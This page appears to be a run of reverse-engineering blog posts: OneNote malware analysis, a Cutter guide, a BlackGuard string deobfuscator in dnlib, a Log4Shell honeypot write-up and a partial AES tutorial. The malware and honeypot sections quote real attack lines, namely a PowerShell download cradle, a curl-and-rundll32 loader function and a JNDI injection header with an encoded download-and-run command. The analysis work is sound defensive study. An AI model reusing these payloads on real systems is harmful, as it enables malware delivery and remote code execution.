Samples

1. Samples
2. OneNote Format
   1. Sections
   2. Pages
   3. Outline
   4. Content
   5. Properties and Property Sets
   6. Transaction Log
   7. File Data Object
3. Basic Analysis
   1. Analyzing Malicious Script
4. Advantages of the Transaction Log
   1. File_5.hta Analysis
   2. File_1.hta
5. Conclusion
6. IOCs
   1. Network Indicators
   2. Samples
7. Mitre ATT&CK IDs

OneNote Format

OneNote documents consist of sections, pages, outlines, and content, each having their own metadata and attributes. Details of the MS-ONE file format can be found in the specification documents from Microsoft. Below is a brief overview of the structure:

Structure of OneNote Document

Sections

Sections contain pages, metadata, and properties for the OneNote document. This is what gets exported as a .one file when saving from OneNote. It contains properties such as which pages are contained within the section, the order of those pages, and the name of the section.

Pages

Pages contain the actual content of the OneNote document. This includes text, images, tables, and outlines. Some of the properties associated with a page include the author, the width and height of the page, the last modified timestamp, and if this is the first page in the section.

Outline

Outlines are a convenient way to group elements together. You can think of outlines like a mini container that stores text, images, tables, file references, etc. Outlines can be placed anywhere on a page and are even allowed to overlap with each other. Outlines have properties associated with their height, width, and their location on the page.

Content

Content is the actual text, images, tables, and data files that go into pages and outlines. Each content element has its own set of unique properties and values.

Properties and Property Sets

All content within a OneNote document contains a series of properties associated with the element. Property sets are the groups of properties that make up an element, and are often prepended with jcid, a structure specific to OneNote documents. The property sets within a OneNote file describe the types of elements within that file and how to parse them. Properties are the individual metdata values contained within a property set.

Transaction Log

The transaction log is a special metadata object within a OneNote document that will keep track of changes. This allows the user to view previous versions of a document and see when they were edited. For an analyst, the transaction log can help find additional IOCs associated with a sample and identify previous campaigns the file might have been used in.

File Data Object

A file data object is a special element that contains a binary stream for the type of file it represents. This can be used maliciously by including malicious scripts or executables that can run when a user double-clicks on them. When a file data object is added to a OneNote document, it displays as the .ico of the application that will run the file as shown in the screenshot below:

File data object of .hta file

Basic Analysis

Taking a look at info_9316876362.one we can verify with trid that this is a OneNote document:

trid identifying the file as a .one document

Because there is no OLE data like in normal Office documents, we cannot use oletools to parse this file. This is where pyOneNote comes in. pyOneNote will parse the contents of the transaction log and list the changes made in the document. The tool will also extract any embedded files and write them to the directory specified by the -o flag. For example, in the screenshot below pyOneNote is being used to extract embedded files to the “extracted_files” directory.

Running pyOneNote on document

The output makes it clear that several files were pulled from the OneNote document. Three of these files are PNGs that look like they are used to trick a user into clicking a link. The fourth file is JavaScript whose original file path was C:\Autoruns\output1.js. The metadata from the script tells us that the language of the script is set to Russian, and that the alt text for the image NOTE4_WHITE_1.bmp is Russian text that translates to:

Auto-generated alt text:
Connect to the cloud 
This document contains attachments from the cloud 
to receive them, double click "Next" 
Next 

Embedded JavaScript file information showing the Russian Language ID and name of file

Information about the embedded image including the alt text and name of image file

Image embedded in OneNote Document

Looking at the list of properties found by pyOneNote, we can see a jcidEmbeddedFileNode that matches the output1.js file. This tells us that the author of the document embedded the script to the document so that when a user clicks on it Windows will open the script in the appropriate application - wscript in this case. Thanks to the transaction log, we see the date the script was embedded: 2023-03-17 13:37:19.

jcidEmbeddedFileNode property showing the date value

Analyzing Malicious Script

Now that we know that there is an embedded script and have it extracted with pyOneNote, we begin our analysis. To do this quickly, I am going to use a slightly modified version of box-js, a JavaScript emulator that comes with Remnux. I can launch the malicious script in the emulator using the command:

box-js extracted_files/file_3.js --download

We can see that the script attempts to reach out to multiple C2s and write what looks to be a zip file. It will then extract that file to a new folder and run the unzipped file via regsvr32.exe.

box-js analysis results

This shows the power of emulation over having to manually analyze the file. Upon further analysis, the downloaded payload is Emotet, but that is outside the scope of this article.

Advantages of the Transaction Log

The transaction log is extremely useful when analyzing OneNote documents. It allows us to view the changes the document went through and can help us find additional IOCs associated with the sample. For example, when running Inv_02_02_#2.one through pyOneNote you will notice that it extracts two .hta files. It’s initially unclear which one of these files will execute when the user opens the file, but with the help of the transaction log we can see if there were any changes made to these .hta files.

Using the following gawk command on the output of pyOneNote, I was able to pull out only the jcidEmbeddedFileNode properties and their corresponding .hta file.

gawk -v n=8 '{ if( match($0, /\s+(jcid[^\(]+)\(/, arr) ) { if( arr[1]~/jcidEmbeddedFileNode/ ) { print arr[1]; for( i=1; i<=n; i++ ) getline; print; } } }' output.txt

List of embedded filenames in the .one document

Based on the output in the screenshot above, we can see that there was a change in the embedded files from Z:\build\one\Open.hta to C:\Users\Admin\Desktop\Open.hta on February 3rd, 2023. We can infer that the latest version of the .hta file is the expected payload for the sample and can continue our analysis from there.

File_5.hta Analysis

The latest version of the .hta file was extracted as pyOneNote as file_5.hta. This file contains VBScript code that will loop through each index of an array of decimal values and subtract that value from the char value of a large blob of text. The output of this is then run through the execute function of VBScript if the folder c:usersta does not exist. One thing to note is that c:usersta is not a valid folder name. The author of the script most likely used that name so that the malware will always run.

First round of obfuscation in file_5.hta

The decoded output runs an encoded PowerShell command that deobfuscates to:

IEX (New-Object Net.Webclient).downloadstring("http://corsanave[.]top/gatef.php")

This will download a file at http://corsanave[.]top/gatef.php which at the time of writing is down but was associated with IcedID according to this report from Joes Sandbox.

Encoded PowerShell run by file_5.hta

File_1.hta

After analyzing file_5.hta, we should analyze the previous version of the .hta file to fully understand the threat and identify additional IOCs. The previous version of the file was extracted by pyOneNote as file_1.hta. In it, we can see an entirely different version of the .hta file we looked at previously. This version is written in JavaScript as opposed to VBScript and uses a different method of obfuscation.

When first looking at the file we notice a div section defined containing an obfuscated string. We then see the content of this div being written to the registry key HKCU\SOFTWARE\Andromedia\Mp4ToAvi\Values.

Creating div and writing content to registry key

Next, the JavaScript will take the value from that registry key, remove all occurrences of 5& and use the decoded value to create a function. Using Cyberchef, we can see that this function will take a URL as an argument. It will then download a file from that URL using curl.exe and output it into C:\ProgramData\index1.png. Finally, the function will execute the downloaded file using rundll32.exe with the function Wind. The decoded JavaScript function is below:

function sleep(millis) {
    var date = new Date();
    var curDate = null;
    do { 
        curDate = new Date(); 
    }while(curDate - date < millis);
}
/** var url = "https://google.com"; */
new ActiveXObject("wscript.shell").run("curl.exe --output C:\\ProgramData\\index1.png --url " + url, 0);
sleep(15000);
var shell = new ActiveXObject("shell.application");
shell.shellexecute("rundll32", "C:\\ProgramData\\index1.png,Wind", "", "open", 3);

In the above snippet, we see that a comment was left in for testing the function with the URL “google.com”.

After the Wind function is created, it is run with the hard-coded parameter https://unitedmedicalspecialties[.]com/T1Gpp/OI.png. At the time of writing, this C2 is down but is associated with Qakbot according to this report by Esentire.

Finally, the .hta file will delete the registry key it created using VBScript.

Creation of new function and grabbing payload

Conclusion

Thanks to tools like pyOneNote, analyzing OneNote documents can be done without needing the actual OneNote application installed on your machine. This is useful for those without a Microsoft-365 subscription or without access to a Windows machine. We also used the transaction log associated with OneNote documents to extract a previous version of the payload that was associated with a different campaign entirely! This leads us to believe that whoever wrote the IcedID payload might have used a copy of the Qakbot payload as a template.

Thanks for reading and happy reversing!

IOCs

Network Indicators

Samples

Mitre ATT&CK IDs

1. What is Cutter
2. Cutter UI
   1. Adding New Tabs
   2. Disassembly View
   3. Graph View
   4. Functions
   5. Decompiler
   6. Hexdump
   7. Search Functionality
   8. Console
3. Conclusion

What is Cutter

Cutter is a GUI interface for the Rizin disassembler. Cutter was originally used by Radare2 so when Radare2 forked off into Rizin, Cutter went too.

Cutter combines a lot of the complex features of Rizin commands into an easy-to-use interface, while still allowing command line access for more experienced users. This is ideal for beginners, but advanced Rizin/Radare2 users can still thrive with this tool.

Cutter UI

The UI is broken out into separate “panels” that the user can drag and drop around the main app to configure the UI how they’d like. For example, a user can have the disassembly view of the current function on the left side of the screen, and the decompiler view of the same function on the right. This is a very simple use case, but it shows that the UI can be as complex or as simple as the user wants.

Example of what you can do in Cutter’s UI

Adding New Tabs

Along with the decompiler and disassembler views, Cutter allows you to add other tools to the display to aid in analysis. These tools include strings, a graph overview, custom type information, the Rizin console, a search functionality, and many others.

To add a new window to the current layout go to the Windows menu option and select the display you would like to place. You can then drag the window around the app and place it anywhere in the UI. For example, a user can add a new disassembly tab to the current window by going to Windows and clicking Add Disassembly.

Menu option to add new disassembly window

This will add a new tab to the bottom of the current window.

New tab created for the disassembly window

Once the new tab is created, you can move it into a window of its own by clicking the diamond icon in the top-right corner of the window. You can now drag the new window to the right of the screen so that you can split it with another window. This allows you to have two windows opened at once.

Moving the disassembly tab into a window of its own

Disassembly View

The disassembler window shows you the disassembly of the current function you are reviewing. It also allows you to “desync” the current window from other disassembly windows you have open. This allows you to view multiple functions at once without changing the view of the other windows that are open.

To do this, first, follow the instructions to add a new window in the New Tabs section of this article.

Once there are two disassembly windows, you might notice that they are both “synced” which means that when you click on one window, it changes the view of the other and vice versa. To desync these windows, you can right-click in one of them and select the sync/unsync offset option.

The process to desync the disassembly window

Now it is possible to open different functions in our new disassembly window without affecting the original function view. This is extremely useful when analyzing a binary with multiple function calls.

Other features in the disassembly view include: the ability to change function names, variable names, and get references to certain addresses. This is all accessed by right-clicking on the assembly instruction or variable you want information about.

For example, you can change the name of a variable by right-clicking it and selecting Rename local.... Cutter will display a menu that allows you to rename the variable. You can also change the type information about the variable to better fit the actual code.

Changing variable names

Graph View

Like most disassemblers, Cutter offers a graph view of the current function. This allows an analyst to see branches that occur in a function from if statements and allows easier navigation than the standard disassembly view. You can add a graph view by going to Windows and clicking on Add Graph.

Cutter’s Graph view showing multiple branches in a function

Another useful feature is the graph overview which gives a high-level view of the entire function graph. This view allows for easy navigation and the added benefit of seeing where the cursor is located compared to the whole function. To add a graph overview, click on the Windows tab and then click Graph Overview. You can drag and drop this widget anywhere on the window. I like to place it under the functions list.

Graph Overview added to the lower-left corner of the window

Another useful feature of the graph view is the ability to highlight blocks. This will change the background color of the basic block so it is easier to find. Doing this will also show up in the graph overview which makes navigation that much easier!

To highlight, right-click on the desired box and click Highlight block. Cutter will display a color wheel allowing you to choose a desired color for the block.

Changing block color using block highlighting

Functions

The functions widget contains a list of functions that are in the binary and allows the user to navigate to a particular function by double-clicking on it. The widget also has a search bar to help the user quickly find a function.

Functions widget

The functions widget can display basic information about a function in a drop-down format. It also lists information about the function including: the offset, the size in bytes, whether or not it is an imported function, the number of arguments, blocks, and local variables, the calling convention, the number of edges in the graph, the size of the stack frame, and any comments the user added.

By right-clicking the function in the menu, a user can add comments, find references to the function, and open it in a different view.

Information Cutter shows about the main function of the binary

Decompiler

By default, Cutter comes with two decompilers: jsdec and Ghidra. The jsdec decompiler is more low-level than Ghidra, providing a simpler version of disassembly rather than a C representation of the code.

Decompiler output showing the difference between jsdec (left) and Ghidra (right)

As you can see, the Ghidra output is closer to the actual C representation of the code than the jsdec output.

To add a decompiler view, navigate to the Windows tab and click Add Decompiler. It similar features to the disassembly window including the ability to sync/unsync the window so you can view multiple functions at once.

Hexdump

The Hexdump view is interesting as it provides the flexibility of viewing the binary at a byte-by-byte level. This allows the user to viw different hash values for a set of bytes, parse a set of bytes as disassembly, and export them into various languages like Python.

The panel on the right side of the window provides this functionality. Hash values for the selected set of bytes are displayed under the Information tab. The hashes displayed are MD5, SHA1, SHA256, and CRC32. This tab will also show the entropy for the data selected.

Hexdump information section showing hash values for the first four bytes of the binary

The Parsing tab allows the user to display the selected bytes in different formats. For example, if you needed the bytes to be formatted as a python bytearray this tool can do that by selecting Python in the drop-down menu.

Hexdump parsing section converting the first four bytes of binary as Python bytearray

The other data formats that can be selected are:

• Converting the bytes to assembly instructions
• String
• Assembly array
• C byte array
• C words (half and double)
• Python bytearray
• JSON
• JavaScript bytearray
• Yara rule

Search Functionality

The search functionality in Cutter allows the user to search for anything in the binary from strings to Return Object Programming (ROP) Gadgets. Cutter’s search function is an extremely powerful tool for reverse engineering.

I use this tool for interesting strings, references to specific memory addresses, and assembly instructions that could indicate interesting functions such as encryption.

To add a new search window, open the Windows tab, then click Search.

To search using the tool, select the type of object you want to search for (string, assembly instruction, etc.) from the Search for box, then select the area to search from (currently mapped section, all sections, current block, raw binary, etc.). Then input what you are searching for and hit Enter.

Searching for string Hello in binary using string search

Searching for assembly code lea rax in binary using code search

Console

The console is my favorite utility in Cutter. It allows for the use of Rizin commands from the GUI interface, creating the best of both worlds! By default, the console is not displayed. It can be accessed under Windows and then click on Console.

Cutter Console with example command. Fun Tip: You can list all commands in Rizin with ?*

Any Rizin feature that is not available in the Cutter interface can be accessed via this console. For example, you can edit all configuration variables in Rizin using the e command, but there doesn’t seem to be a way to do this in the GUI itself. If you need to change a specific setting, it would be easier to do this from the console.

Listing all configuration variables in Cutter/Rizin using the el command

Conclusion

Overall, Cutter is a powerful tool when it comes to reverse engineering. I prefer it over the normal CLI as it gives the best of both worlds with the console tool. There are still other features that were not covered by this article including the new Yara functionality. There are also a plethora of plugins to explore that will aid in analysis. You can find the full documentation on Cutter’s website.

Thanks for reading and happy reversing!

1. What is BlackGuard
2. String Obfuscation
3. Intro to Dnlib
4. Retrieve Initial Byte Array
5. Replacing Deobfuscation Functions
   1. Creating List of Deobfuscation Functions
   2. Finding and Replacing Deobfuscation Function Usage
6. Replacing Base64-Decoding Functions
7. Conclusion

What is BlackGuard

The Blackguard infostealer was discovered by Zscaler in March of 2022 and retailed for a monthly price of $200 or a lifetime price of $700. Blackguard focuses on stealing information from web browsers, VPN Clients, messaging clients, FTP clients, and “cold” cryptocurrency wallets. It heavily obfuscates its strings through an encrypted byte array which is described in the rest of this article.

Hacking forum post advertising Blackguard. Retrieved from: https://www.zscaler.com/blogs/security-research/analysis-blackguard-new-info-stealer-malware-being-sold-russian-hacking

String Obfuscation

For string obfuscation, Blackguard uses a large byte array that is decrypted via XOR at the start of execution. Multiple functions will grab a subset of this byte array after it is decrypted and return the UTF-8 encoded string. Since each deobfuscation function is randomly placed, there is no pattern to the offsets. With DnSpy’s lack of custom in-line commenting and scripting, commonly found in Cutter or other disassemblers, deobfuscation is a daunting task. Without a library like Dnlib, the analyst would have to manually pull out the section of the array and decode by hand.

Setting up byte array used for deobfuscation

Multiple deobfuscation functions that pull strings from the byte array

Intro to Dnlib

We can use Dnlib to read .NET binaries and make changes to their instructions. This library is at the root of tools such as DnSpy and the popular De4Dot deobfuscation tool. We can use it to rewrite the obfuscation functions in our Blackguard sample to their string representations.

The easiest way to do this would be to walk the classes and methods of the binary to retrieve the byte array. Next, we can create a list of all the methods that return deobfuscated strings and replace calls to them with the string itself. First, we need to load the module from our binary in Dnlib. This is done by defining a ModuleContext and passing that to ModuleDefMD.Load. This will return an object that can be used to read metadata about a module including class definitions and .NET instructions.

ModuleContext modCtx = ModuleDef.CreateModuleContext();
ModuleDefMD module = ModuleDefMD.Load(@"path\to\blackguard.exe", modCtx);

Retrieve Initial Byte Array

It is important to know which instructions we are looking for when retrieving the initial byte array. In DnSpy, it is possible to view the Intermediary Language (IL) instructions of a particular function. Intermediary Language is what is used by the .NET virtual machine to translate high level code into bytecode during execution. You can liken this to the Java bytecode that is interpreted by the Java Virtual Machine (JVM) at runtime.

Looking at the function that sets up the initial byte array, we can see the instruction newarr which initializes an array and pushes it onto the stack. We also see a call to InitializeArray. This function takes an object of type System.Array and a RuntimeFieldHandle. A RuntimeFieldHandle is a pointer to data stored in the module that is used to populate the array with data.

Setting up the byte array

Before the call to InitializeArray, the ldtoken instruction on line 6 is used to push a value onto the stack. According to the .NET Documentation, this instruction is used to “convert a metadata token into its runtime representation”. This will most likely be the RuntimeFieldHandle that contains the initial data for our array. We can easily grab this data in Dnlib by grabbing the operand’s InitialValue field.

Finally, we see a few xor instructions used later in the method that are part of the decryption loop. These are good indications that this function sets up the byte array.

XOR Instructions used in decryption loop

The easiest way to find the function that sets up the byte array is to find the use of newarr and the xor instructions. The entire code for grabbing this array is:

// Will grab the key array from the binary
// Params: type (TypeDef): The class to look for the key in
static byte[] getKey(TypeDef type)
{
    // Loop through class methods
    foreach (var method in type.Methods)
    {
        if (!method.HasBody)
            continue;

        // Check if method declares a new array and has an xor instruction
        Instruction newarr = containsOpCode(method.Body.Instructions, OpCodes.Newarr);
        Instruction xor = containsOpCode(method.Body.Instructions, OpCodes.Xor);

        if (newarr != null && xor != null)
        {
            // Pass instructions to the getArrayData Function Below
            byte[] bArr = getArrayData(method.Body.Instructions);

            // Decrypt the byte array once we have its initial value
            for (int i = 0; i < bArr.Length; i++)
            {
                int d = bArr[i] ^ i ^ 170;
                bArr[i] = (byte)d;
            }
            return bArr;
        }
    }
    return null;
}

// Gets array's data from method
static byte[] getArrayData(System.Collections.Generic.IList<Instruction> instructions)
{
    bool foundArr = false;
    foreach(var ins in instructions)
    {
        if(ins.OpCode == OpCodes.Newarr)
        {
            foundArr = true;
        }

        // If the current instructions opcode is ldtoken
        // and we already passed the newarr instruction then
        // this must be the array RuntimeFieldHandle
        if(ins.OpCode == OpCodes.Ldtoken && foundArr )
        {
            FieldDef field = (FieldDef)ins.Operand;
            // return array's initial value
            return field.InitialValue;
        }
    }
    return null;
}

Replacing Deobfuscation Functions

Creating List of Deobfuscation Functions

To find the deobfuscation functions and replace them, first we will need to find the function that will grab a subset from the decrypted byte array, convert it to a string, and return the value. The easiest way to do this is to look for calls to the GetString function. Since this is a system function, there is no way for the compiler to know the exact location of this function in memory. To address this, the binary uses the callvirt instruction to locate the GestString function. We can look for usage of this instruction and verify that it is being used to call GetString. The code looks something like this:

static MethodDef getDecryptMethod(TypeDef type)
{
    // Loop through methods in class
    foreach(var method in type.Methods)
    {
        if (!method.HasBody)
            continue;

        // Loop through method instructions
        foreach(var ins in method.Body.Instructions)
        {
            // Check if instruction is using the callvirt opcode
            if(ins.OpCode == OpCodes.Callvirt)
            {
                // Verify that it is calling GetString
                if (ins.Operand.ToString().Contains("GetString"))
                {
                    // Return the method definition itself
                    return method;
                }
            }
        }
    }
    return null;
}

IL Code of the Main Deobfuscation Function

Once we have the method definition of the GetString function, we can look for other methods that are calling it. Once we do that, we can store the method definition as well as its deobfuscated string in a HashMap to easily pull later. This will be useful when we go to replace the calls to these deobfuscation functions. The code for finding these functions looks like the following:

/* Params:
    TypeDef type: Class to look for deobfuscation functions in
    byte[] kArr: Byte array used for decryption
    MethodDef decryptMethod: Main Deobfuscation Method Definition
*/
static Dictionary<MethodDef, string> decryptFuncs(TypeDef type, byte[] kArr, MethodDef decryptMethod)
{
    Dictionary<MethodDef, string> funcs = new Dictionary<MethodDef, string>();
    foreach(var method in type.Methods)
    {
        if (!method.HasBody)
            continue;

        // Starting at index two to grab previous two instructions once we 
        // find the call to the main deobfuscation method
        for (var i = 2; i < method.Body.Instructions.Count; i++)
        {
            // Previous two instructions will be paramaters for method
            Instruction prevIns = method.Body.Instructions[i - 1];
            Instruction prevprevIns = method.Body.Instructions[i - 2];
            Instruction ins = method.Body.Instructions[i];

            // Look for call instruction that calls the main deobfuscation method
            if(ins.OpCode == OpCodes.Call && ins.Operand == decryptMethod)
            {
                // Add method to hashmap with the method as the key and 
                // the deobfuscated string as the value
                funcs.Add(method, decryptString(prevprevIns.GetLdcI4Value(), prevIns.GetLdcI4Value(), kArr));
            }
        }
    }
    return funcs;
}

// Returns deobfuscated string
static string decryptString(int x, int y, byte[] kArr)
{
    return Encoding.UTF8.GetString(kArr, x, y);
}

Finding and Replacing Deobfuscation Function Usage

Now that we have a map containing all deobfuscation functions and their corresponding string, we can loop through the binary again and replace the usage of these functions. To do this we can simply replace the call instruction with ldstr followed by the string. The ldstr instruction will push a new string object onto the stack which is useful in case the string is used as a parameter for another function. This means that the code will still function as it normally would with the obfuscation methods in place. The code for doing this is as follows:

// Grab hashmap of deobfuscation functions
var obfFuncs = getObfFuncs(module);

// Loop through each class in module
foreach (var type in module.Types)
{
    if (!type.HasMethods)
        continue;

    // Loop through each method in class
    foreach (var method in type.Methods)
    {
        if (!method.HasBody)
            continue;

        // Loop through each instruction in method
        foreach (var inst in method.Body.Instructions)
        {
            // Check if the current instruction is for calling a function
            if (inst.OpCode == OpCodes.Call && inst.Operand is MethodDef)
            {
                // Check to see if method being called is in hashmap
                if (obfFuncs.ContainsKey((MethodDef)inst.Operand))
                {
                    // Replace opcode with ldstr
                    inst.OpCode = OpCodes.Ldstr;
                    // Replace operand with deobfuscated string
                    inst.Operand = obfFuncs[(MethodDef)inst.Operand];
                }
            }
        }
    }
}

You can see in the below image the before and after of our deobfuscation efforts:

Deobfuscation Before and After

Replacing Base64-Decoding Functions

Now that we have deobfuscated all strings in the binary, we can see yet another issue. A lot of these strings are Base64-Encoded and are being decoded by another obfuscated function.

Base64-Encoded Strings Passed to Decoding Functions

A quick glance indicates these functions only return the Base64-Decoded string:

Base64-Decoding Function

We can use the same process to find these Base64-Decoding functions as we did for finding the string deobfuscation functions by looking for a call instruction for FromBase64String.

static List<MethodDef> getB64Funcs(ModuleDefMD module)
{
    // Generate empty list to store function
    List<MethodDef> b64Funcs = new List<MethodDef>();
    // Loop through classes
    foreach (var type in module.Types)
    {
        if (!type.HasMethods)
            continue;
        // Loop through Methods
        foreach(var method in type.Methods)
        {
            if (!method.HasBody )
                continue;

            // Loop through instructions
            foreach(var ins in method.Body.Instructions)
            {
                // Look for call to FromBase64String
                if(ins.OpCode == OpCodes.Call && ins.Operand.ToString().Contains("FromBase64String"))
                {
                    // Add found method to list
                    b64Funcs.Add(method);
                }
            }
        }
    }
    return b64Funcs;
}

From here, we can replace these functions with their string representation much like what we did with the deobfuscation functions. We must make sure that the parameter being passed to the Base64-Decoding function is a string, so we check that the previous instruction is ldstr before performing the replacement. Our final loop looks like the following:

// Get map of obfuscated functions
var obfFuncs = getObfFuncs(module);

// Get list of base64 functions
var b64Funcs = getB64Funcs(module);

// Loop through classes
foreach (var type in module.Types)
{
    if (!type.HasMethods)
        continue;

    // Loop through methods
    foreach (var method in type.Methods)
    {
        if (!method.HasBody)
            continue;

        // Loop to replace the obfuscated strings    
        foreach (var inst in method.Body.Instructions)
        {
            if (inst.OpCode == OpCodes.Call && inst.Operand is MethodDef)
            {
                if (obfFuncs.ContainsKey((MethodDef)inst.Operand))
                {
                    inst.OpCode = OpCodes.Ldstr;
                    inst.Operand = obfFuncs[(MethodDef)inst.Operand];
                }
            }
        }

        // Loop through instructions again to find base64 functions
        for (var i = 1; i < method.Body.Instructions.Count; i++)
        {
            // Get previous instruction
            var prevIns = method.Body.Instructions[i - 1];
            var ins = method.Body.Instructions[i];
            if (ins.OpCode == OpCodes.Call && ins.Operand is MethodDef)
            {
                // Check to see if instruction is calling base64 function
                if (b64Funcs.Contains((MethodDef)ins.Operand))
                {
                    // Verify that previous instruction is a string
                    if (prevIns.Operand is string && prevIns.OpCode == OpCodes.Ldstr)
                    {
                        try
                        {
                            // base64 decode string
                            string b64Dec = Encoding.ASCII.GetString(Convert.FromBase64String(prevIns.Operand.ToString()));

                            // Replace with ldstr instruction
                            ins.OpCode = OpCodes.Ldstr;
                            ins.Operand = b64Dec;

                            // Replace paramater passing with nop instruction as it's no longer needed
                            prevIns.OpCode = OpCodes.Nop;
                        }
                        catch
                        {
                            continue;
                        }
                    }
                }
            }
        }
    }
}

Now all of the strings in the binary are fully deobfuscated and we can continue our analysis.

Comparison of obfuscated vs deobfuscated output

Conclusion

If you would like to check out the complete code you can find it on my GitHub or my Projects Page. If you have any questions or feedback on this article, feel free to message me on my Twitter or LinkedIn.

Thanks for reading and happy reversing!

1. Anatomy of Attack
2. Other Protocols
3. Mitigations
4. Honeypot Results
5. Conclusion
6. IOCs

Anatomy of Attack

The Log4jShell vulnerability uses lookup strings which are specially formatted strings that allow the application to add values to logs without the need for additional Java code. An example of a lookup string is ${java:version} which logs the version of the current Java instance.

public class Main {
    static final Logger log = Logger.getLogger(Main.class);

    public static void main(String[] args) {
    	log.debug("Hello, world!");
        log.debug("${java:version}");
    }
}

Example log output from the Java Code above

Specifically, this vulnerability utilizes the Java Naming and Directory Interface (JNDI) lookup string to retrieve a remote Java object. Once retrieved, the JDNI will run that code locally.

A common attack injects the string ${jndi:ldap://<attacker_server>/<base_search>} to load malicious code from an attacker controlled LDAP server. The attacker will insert the string into commonly logged fields in a web request such as: URI, HTTP Headers, and form fields. The data collected from my honeypot shows the most common fields used in the past seven days:

When the lookup string is parsed, the Java application will make an anonymous LDAP query to the malicious server using the URI as a base object. For example, I observed an attacking IP using the following header in an HTTP request:

X-Api-Version: ${jndi:ldap://81[.]30[.]157[.]43:1389/Basic/Command/Base64/Y2QgL3Vzci9iaW47d2dldCBodHRwOi8vMTU1Ljk0LjE1NC4xNzAvYmJiO2N1cmwgLU8gaHR0cDovLzE1NS45NC4xNTQuMTcwL2JiYjtjaG1vZCAreCBiYmI7Li9iYmI=}

In the above example, the vulnerable server will make an anonymous LDAP query to 81[.]30[.]157[.]43 on port 1389 with the base object Basic/Command/Base64/Y2QgL3Vzci9iaW47d2dldCBodHRwOi8vMTU1Ljk0LjE1NC4xNzAvYmJiO2N1cmwgLU8gaHR0cDovLzE1NS45NC4xNTQuMTcwL2JiYjtjaG1vZCAreCBiYmI7Li9iYmI= and the default query of (objectClass=*).

PCAP of search request from vulnerable server

From the data in my honeypot, it was found that the base object used for LDAP queries was a mix of base64 and plaintext strings.

Result from honeypot of base64 encoded base object

Result from honeypot of plaintext base object

The malicious LDAP server will respond with an entry containing four values: javaClassName, javaCodeBase, objectClass, and javaFactory.

PCAP of search response form malicious LDAP server

JNDI will take the javaCodeBase and javaFactory values to load malicious Java code from the attacker at http://<javaCodeBase>/<javaFactory>.class, or in our example: http://81[.]30[.]157[.]43:8080/Exploity2x2ukz72E.class.

JNDI loading malicious Java class over HTTP

This specific Java class contains a bash command that is used to download a second stage. This article will not be covering the second stage payload.

Decompiled Java payload

Other Protocols

LDAP is not the only protocol that the JNDI lookup string supports. The other two commonly seen protocols are:

Mitigations

At the time of writing, Log4j has release version 2.17 which mitigates the RCE vulnerability and DoS vulnerability that were seen in version 2.16. It is recommended to apply this patch as soon as possible which you can download here.

LunaSec also has a detailed mitigation guide on how to find which applications are vulnerable to this exploit as well as other mitigation strategies.

Honeypot Results

Overall, there has been a decline in the number of attacks seen against the honeypot since the vulnerability was first made public. This might be caused by a drop in the number of vulnerability scanners, such as the one from Kryptos Logic.

Timeline of attack attempts against my honeypot

The honeypot was attacked by 14 unique IP addresses over a five day period. The top three IPs were: 46[.]105[.]95[.]220, 45[.]83[.]64[.]52, 195[.]54[.]160[.]149. You can find the entire list of IPs seen in the IOC Section of this article.

Number of attacks from unique IPs

Attackers have found ways to obfuscate the attack by using other Log4j format strings such as: ${lower:J} and ${::-j}. Most of the attacks against my honeypot were using some form of obfuscation:

Number of obfuscated attempts against the honeypot

Conclusion

The goal of this article was to provide a brief overview of how the attack works to help readers identify attempts in their environment. If you would like to read more, the official LunaSec report on this vulnerability is a good place to start. If you have any questions or comments about this post, feel free to message me on my Twitter or LinkedIn.

IOCs

Thanks for reading and happy reversing!

This post is a follow-up to my previous post on reverse engineering cryptographic algorithms where I provided information on the RC4 and Salsa20 algorithms. In this post, I will explain how the AES algorithm works and how you can identify it when reverse engineering an application.

1. Basic AES Encryption
   1. State
   2. Key Expansion
   3. Substitution Box (S-Box)
   4. SubBytes
   5. ShiftRows
   6. MixColumns
   7. AddRoundKey
2. AES Lookup Table (T-Table) Method
   1. Lookup Table Generation
   2. Round Encryption
   3. Final Round
   4. AES T-Table Python Code
3. Identifying AES in Assembly Code
   1. Identifying the S-Box/T-Tables
   2. Identifying Normal AES Functions
      1. AddRoundKey in Assembly
      2. SubBytes in Assembly
      3. ShiftRows in Assembly
      4. MixColumns in Assembly
   3. Identifying Key Expansion
4. Conclusion

Basic AES Encryption

The AES Algorithm will break up a plaintext string into 16 byte “blocks” that undergo several rounds of encryption. The steps are detailed in the official AES documentation:

1. Expand provided key (Key Expansion Section)
2. AddRoundKey function on the plaintext block using the expanded key
3. Multiple encryption Rounds
   1. SubBytes function on block
   2. ShiftRows function on block
   3. MixColumns function on block
   4. AddRoundKey function
4. Final SubBytes call
5. Final ShiftRows call
6. Final AddRoundKey call

The number of rounds that are used and the size of the expanded key, EK, are dependent on the size of the provided key. The following table shows the correlation between the key length, the number of rounds, and the length of the expanded key:

Example code for AES might look like the following:

def cipher(self, pt):
      """Basic AES implementation.

      Args:
          pt (bytes): Plaintext to encrypt

      Returns:
          list: Encrypted Ciphertext formatted as list of bytes
      """
      state = self.rows_to_columns(pt)
      self.add_round_key(state, self.ek[0:4]) #ek is the expanded key
      for round in range(1, 10):
          self.sub_bytes(state)
          self.shift_rows(state)
          self.mix_columns(state)
          self.add_round_key(state, self.ek[round*4:(round*4)+4])
      self.sub_bytes(state)
      self.shift_rows(state)
      self.add_round_key(state, self.ek[-4:])
      return state

State

The state for the traditional AES algorithm is depicted as a 4x4 matrix to which the plaintext block is mapped. The block is copied to this matrix row by row; meaning that the first byte will be in column one, row one and the second byte will be in column one, row two. This can be seen in the following image where P denotes the plaintext array and Px denotes the byte at index x of the plaintext array:

Basic AES State

Key Expansion

The expanded key for AES is a list of four-byte words that are derived from the original key. The first words in the array are the same as the original key. For example, the first four bytes in the key array would be the first word in the expanded key, EK, like so:

key = [0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77, 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff]

expanded_key = [0x00112233,
                0x44556677,
                0x8899aabb,
                0xccddeeff,
                ...]

